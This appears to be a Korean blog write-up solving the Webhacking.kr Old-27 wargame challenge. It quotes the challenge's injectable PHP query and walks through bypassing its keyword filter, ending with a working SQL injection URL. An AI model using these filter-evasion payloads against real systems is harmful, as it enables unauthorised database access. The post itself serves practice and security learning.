[문제]
[풀이]
<?php
if($_GET['no']){
> get 방식으로 no 받음
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
> 입력 값에 #, select, (, 공백, limit, = 등이 있으면 no hack 출력 후 종료
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
> chall27 테이블에서 입력받은 no의 id 선택(id가 guest가 아니면 query error 출력 후 종료)
if($r['id']=="guest") echo("guest");
> id가 guest면 guest 문자열 출력
if($r['id']=="admin") solve(27); // admin's no = 2
> id가 admin이면 문제 해결(admin no는 2)
}
?>
SQL 쿼리문을 통해 생각할 수 있는 점은 입력 값 뒤에 or die("query error")가 위치하기 때문에 주석으로 없앨 수 있다는 것이다.
소스코드 분석 후 먼저 1을 입력해보면 guest로 로그인 된 것을 알 수 있다.
"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
쿼리문에 0 or 2의 형태로 작성하여 2를 선택하도록 하고, 뒤에 주석처리를 하여 die 함수를 실행하지 않도록 하면 해결할 수 있다. 여기서 주의해야 할 점은 #과 (, =, 공백을 필터링하고 있기 때문에 이를 대체할 문자가 필요하다는 것!
우선은 필터링 문자를 상관하지 않고 쿼리문을 작성해보면 다음과 같다.
"select id from chall27 where id='guest' and no=(0) or no = (2) #")) or die("query error");
이렇게 작성하면 no가 0인 것이 거짓이기 때문에 no = 2의 형태만 남게 되어 admin의 id를 조회할 수 있다. 그러나 이를 그대로 입력하게 되면 no hack이 출력된다.
"select id from chall27 where id='guest' and no=(0) or no = (2) #")) or die("query error");
여기서 필터링 문자를 하나씩 대체해보면 다음과 같다.
=과 () -> like
# -> --
공백 -> %09 (get 방식으로 보내기 때문)
"select id from chall27 where id='guest' and no=(0) or no like 2 -- ")) or die("query error");
"select id from chall27 where id='guest' and no=(0)%09or%09no%09like%092%09--%09")) or die("query error");
* 주석처리 후에는 반드시 공백처리를 해줘야 한다!!
https://webhacking.kr/challenge/web-12/?no=0)%09or%09no%09like%092%09--%09 을 넣어주면 문제가 해결된다.
'Wargame > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr - Old 25] (0) | 2021.08.19 |
---|---|
[Webhacking.kr] Old-19 (0) | 2021.08.12 |
[Webhacking.kr] Old-54 (0) | 2021.08.11 |
[Webhacking.kr] Old-39 (0) | 2021.08.11 |
[Webhacking.kr] Old 26 (0) | 2021.08.04 |